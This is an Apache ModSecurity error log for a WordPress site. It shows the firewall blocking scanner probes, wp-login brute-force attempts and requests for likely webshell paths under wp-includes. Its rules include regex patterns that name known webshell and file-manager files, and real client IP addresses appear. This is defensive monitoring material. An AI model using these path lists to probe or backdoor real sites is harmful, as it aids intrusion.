[Tue Feb 24 10:01:29.345256 2026] [:error] [pid 41188:tid 41200] [client 217.182.194.3:42804] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aZ0GeQWRg7szIRhA0WjImwAAAUk"]
[Tue Feb 24 10:01:31.810832 2026] [:error] [pid 41188:tid 41199] [client 217.182.194.3:42812] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aZ0GewWRg7szIRhA0WjInwAAAUg"]
[Tue Feb 24 10:01:34.386349 2026] [:error] [pid 41188:tid 41211] [client 217.182.194.3:42816] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aZ0GfgWRg7szIRhA0WjIogAAAVQ"]
[Tue Feb 24 10:01:36.881188 2026] [:error] [pid 41188:tid 41207] [client 217.182.194.3:42820] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZ0GgAWRg7szIRhA0WjIqgAAAVA"]
[Tue Feb 24 10:01:39.245291 2026] [:error] [pid 37644:tid 37654] [client 217.182.194.3:57286] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZ0Gg0LaEhVDwBRydH2aCgAAAMg"]
[Tue Feb 24 10:01:41.916329 2026] [:error] [pid 37644:tid 37646] [client 217.182.194.3:57298] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aZ0GhULaEhVDwBRydH2aDAAAAMA"]
[Tue Feb 24 10:01:44.344104 2026] [:error] [pid 41188:tid 41210] [client 217.182.194.3:57312] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZ0GiAWRg7szIRhA0WjItwAAAVM"]
[Tue Feb 24 10:02:27.792625 2026] [:error] [pid 41188:tid 41204] [client 217.182.194.3:57318] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZ0GswWRg7szIRhA0WjI_AAAAU0"]
[Tue Feb 24 10:02:30.278491 2026] [:error] [pid 41188:tid 41195] [client 217.182.194.3:41982] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aZ0GtgWRg7szIRhA0WjI_QAAAUQ"]
[Tue Feb 24 10:23:44.365320 2026] [:error] [pid 11672:tid 11677] [client 212.132.70.123:52596] [client 212.132.70.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.132.70.123, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ0LsPa0fhnmfPYq92v0-QAAAQM"]
[Tue Feb 24 10:29:39.278894 2026] [:error] [pid 37538:tid 37553] [client 85.214.228.221:33990] [client 85.214.228.221] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.214.228.221, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ0NEyynTiHZ9J0Y2naJRgAAAAU"]
[Tue Feb 24 10:42:15.206676 2026] [:error] [pid 37539:tid 37597] [client 168.119.190.193:44616] [client 168.119.190.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 168.119.190.193, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ0QB3Enr46jUQep9z8EtwAAAFY"]
[Tue Feb 24 11:20:01.066940 2026] [:error] [pid 11672:tid 11697] [client 43.157.142.101:48468] [client 43.157.142.101] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aZ0Y4fa0fhnmfPYq92sKtQAAARc"]
[Tue Feb 24 12:02:20.819531 2026] [:error] [pid 37644:tid 37670] [client 51.210.123.31:41206] [client 51.210.123.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.210.123.31, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ0izELaEhVDwBRydH2pWwAAANg"]
[Tue Feb 24 12:41:58.099797 2026] [:error] [pid 34175:tid 34186] [client 139.59.92.173:53840] [client 139.59.92.173] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.59.92.173, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ0sFnNLnkJcHQ-bNtVkxAAAAYk"]
[Tue Feb 24 14:17:10.728687 2026] [:error] [pid 37540:tid 37619] [client 194.26.192.238:61619] [client 194.26.192.238] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/txets.php"] [unique_id "aZ1CZiahRAUBJS8hpJUdLwAAAJE"]
[Tue Feb 24 14:17:11.237506 2026] [:error] [pid 37540:tid 37617] [client 194.26.192.238:61746] [client 194.26.192.238] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "aZ1CZyahRAUBJS8hpJUdMQAAAI8"]
[Tue Feb 24 14:17:11.743576 2026] [:error] [pid 37644:tid 37661] [client 194.26.192.238:61778] [client 194.26.192.238] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "aZ1CZ0LaEhVDwBRydH20bwAAAM8"]
[Tue Feb 24 14:17:14.330876 2026] [:error] [pid 34175:tid 34200] [client 194.26.192.238:62043] [client 194.26.192.238] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/txets.php"] [unique_id "aZ1CanNLnkJcHQ-bNtWYGAAAAZY"]
[Tue Feb 24 14:18:51.755994 2026] [:error] [pid 11672:tid 11676] [client 134.209.114.227:39680] [client 134.209.114.227] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.209.114.227, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ1Cy_a0fhnmfPYq92tFjwAAAQI"]
[Tue Feb 24 14:25:30.699129 2026] [ssl:error] [pid 41188:tid 41200] [client 23.95.96.140:41298] AH02032: Hostname www.macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: http://www.macfieldsvet.com.au/
[Tue Feb 24 14:35:53.942104 2026] [proxy_fcgi:error] [pid 11672:tid 11676] [client 74.7.241.45:39130] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_postmeta` SET `meta_value` = '{\\"timeout\\":1772040953,\\"value\\":{\\"content\\":\\"\\\\t\\\\t<section class=\\\\\\"elementor-section elementor-top-section elementor-element elementor-element-83806a7 elementor-section-boxed elementor-section-height-default elementor-section-height-default\\\\\\" data-id=\\\\\\"83806a7\\\\\\" data-element_type=\\\\\\"section\\\\\\" data-e-type=\\\\\\"section\\\\\\">\\\\n\\\\t\\\\t\\\\t\\\\t\\\\t\\\\t<div class=\\\\\\"elementor-container elementor-column-gap-default\\\\\\">\\\\n\\\\t\\\\t\\\\t\\\\t\\\\t<div class=\\\\\\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-413e966\\\\\\" data-id=\\\\\\"413e966\\\\\\" data-element_type=\\\\\\"column\\\\\\" data-e-type=\\\\\\"column\\\\\\">\\\\n\\\\t\\\\t\\\\t<div class=\\\\\\"elementor-widget-wrap\\\\\\">\\\\n\\\\t\\\\t\\\\t\\\\t\\\\t\\\\t\\\\t<\\\\/div>\\\\n\\\\t\\\\t<\\\\/div>\\\\n\\\\t\\\\t\\\\t\\\\t\\\\t<\\\\/div>\\\\n\\\\t\\\\t<\\\\/section>\\\\n\\\\t\\\\t\\\\t\\\\t<section class=\\\\\\"elementor-section elementor-top-sectio...', referer: https://vetstars.com.au/?p=16
[Tue Feb 24 15:55:34.103010 2026] [:error] [pid 34751:tid 34813] [client 104.208.160.135:39022] [client 104.208.160.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.208.160.135, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ1Zds7SW-lfeVKMPq_2dgAAAcU"]
[Tue Feb 24 17:12:19.362233 2026] [:error] [pid 37095:tid 37121] [client 173.239.214.45:31409] [client 173.239.214.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aZ1rcyX8qkGqxKHLt3uAhgAAAJg"]
[Tue Feb 24 17:12:25.062038 2026] [:error] [pid 34750:tid 34781] [client 173.239.214.73:26035] [client 173.239.214.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aZ1reeaZ-Iv_wvbRkKLCIwAAAUA"]
[Tue Feb 24 17:12:36.072148 2026] [:error] [pid 34751:tid 34824] [client 173.239.214.34:38777] [client 173.239.214.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aZ1rhM7SW-lfeVKMPq8MtAAAAdA"]
[Tue Feb 24 17:12:44.169193 2026] [:error] [pid 34749:tid 34757] [client 173.239.214.37:46613] [client 173.239.214.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aZ1rjIDERuV6HM3T9KmzPAAAAEM"]
[Tue Feb 24 17:12:56.339744 2026] [:error] [pid 34750:tid 34804] [client 173.239.214.78:29151] [client 173.239.214.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aZ1rmOaZ-Iv_wvbRkKLCiQAAAVc"]
[Tue Feb 24 17:12:59.370262 2026] [:error] [pid 34751:tid 34824] [client 173.239.214.34:21893] [client 173.239.214.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aZ1rm87SW-lfeVKMPq8M3QAAAdA"]
[Tue Feb 24 17:12:59.800901 2026] [:error] [pid 34839:tid 34862] [client 173.239.214.59:20569] [client 173.239.214.59] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aZ1rm2Lpm0-tb2ey61GzbwAAABU"]
[Tue Feb 24 17:13:00.230563 2026] [:error] [pid 34839:tid 34854] [client 173.239.214.49:64777] [client 173.239.214.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aZ1rnGLpm0-tb2ey61GzdAAAAA0"]
[Tue Feb 24 17:13:00.659292 2026] [:error] [pid 34839:tid 34857] [client 173.239.214.55:23717] [client 173.239.214.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aZ1rnGLpm0-tb2ey61GzdwAAABA"]
[Tue Feb 24 17:13:01.129346 2026] [:error] [pid 34750:tid 34797] [client 173.239.214.48:47551] [client 173.239.214.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aZ1rneaZ-Iv_wvbRkKLCigAAAVA"]
[Tue Feb 24 17:13:04.058085 2026] [:error] [pid 34749:tid 34775] [client 173.239.214.74:40499] [client 173.239.214.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aZ1roIDERuV6HM3T9KmzRgAAAFU"]
[Tue Feb 24 17:13:07.259592 2026] [:error] [pid 34750:tid 34802] [client 173.239.214.44:48499] [client 173.239.214.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/filemanager.php"] [unique_id "aZ1ro-aZ-Iv_wvbRkKLCnwAAAVU"]
[Tue Feb 24 17:13:12.740628 2026] [:error] [pid 34751:tid 34813] [client 173.239.214.64:64825] [client 173.239.214.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aZ1rqM7SW-lfeVKMPq8M5AAAAcU"]
[Tue Feb 24 17:13:15.701536 2026] [:error] [pid 37873:tid 37897] [client 173.239.214.29:35171] [client 173.239.214.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aZ1rq0625ION6Syu4d4aTAAAANY"]
[Tue Feb 24 17:13:18.707253 2026] [:error] [pid 34751:tid 34824] [client 173.239.214.72:57981] [client 173.239.214.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aZ1rrs7SW-lfeVKMPq8M8gAAAdA"]
[Tue Feb 24 17:13:32.949204 2026] [:error] [pid 34749:tid 34772] [client 173.239.214.51:54085] [client 173.239.214.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aZ1rvIDERuV6HM3T9KmzVwAAAFI"]
[Tue Feb 24 17:13:35.839129 2026] [:error] [pid 34750:tid 34802] [client 173.239.214.45:25135] [client 173.239.214.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aZ1rv-aZ-Iv_wvbRkKLC0QAAAVU"]
[Tue Feb 24 17:13:39.068482 2026] [:error] [pid 34750:tid 34800] [client 173.239.214.52:38067] [client 173.239.214.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aZ1rw-aZ-Iv_wvbRkKLC5QAAAVM"]
[Tue Feb 24 17:13:42.024742 2026] [:error] [pid 34749:tid 34777] [client 173.239.214.30:37405] [client 173.239.214.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aZ1rxoDERuV6HM3T9KmzXAAAAFc"]
[Tue Feb 24 17:13:52.462003 2026] [:error] [pid 34750:tid 34781] [client 173.239.214.51:59871] [client 173.239.214.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aZ1r0OaZ-Iv_wvbRkKLDHwAAAUA"]
[Tue Feb 24 17:13:55.375529 2026] [:error] [pid 37095:tid 37106] [client 173.239.214.65:55651] [client 173.239.214.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aZ1r0yX8qkGqxKHLt3uApgAAAIk"]
[Tue Feb 24 17:13:58.331862 2026] [:error] [pid 37873:tid 37891] [client 173.239.214.56:34265] [client 173.239.214.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aZ1r1k625ION6Syu4d4apgAAANA"]
[Tue Feb 24 17:13:58.742514 2026] [:error] [pid 37095:tid 37119] [client 173.239.214.69:37937] [client 173.239.214.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aZ1r1iX8qkGqxKHLt3uAqAAAAJY"]
[Tue Feb 24 17:13:59.207127 2026] [:error] [pid 34839:tid 34841] [client 173.239.214.50:28353] [client 173.239.214.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aZ1r12Lpm0-tb2ey61GzrQAAAAA"]
[Tue Feb 24 17:14:07.266880 2026] [:error] [pid 37873:tid 37897] [client 173.239.214.60:20721] [client 173.239.214.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aZ1r30625ION6Syu4d4augAAANY"]
[Tue Feb 24 17:14:07.777108 2026] [:error] [pid 34750:tid 34781] [client 173.239.214.53:46549] [client 173.239.214.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aZ1r3-aZ-Iv_wvbRkKLDPgAAAUA"]
[Tue Feb 24 17:14:08.208436 2026] [:error] [pid 34750:tid 34792] [client 173.239.214.37:23899] [client 173.239.214.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aZ1r4OaZ-Iv_wvbRkKLDPwAAAUs"]
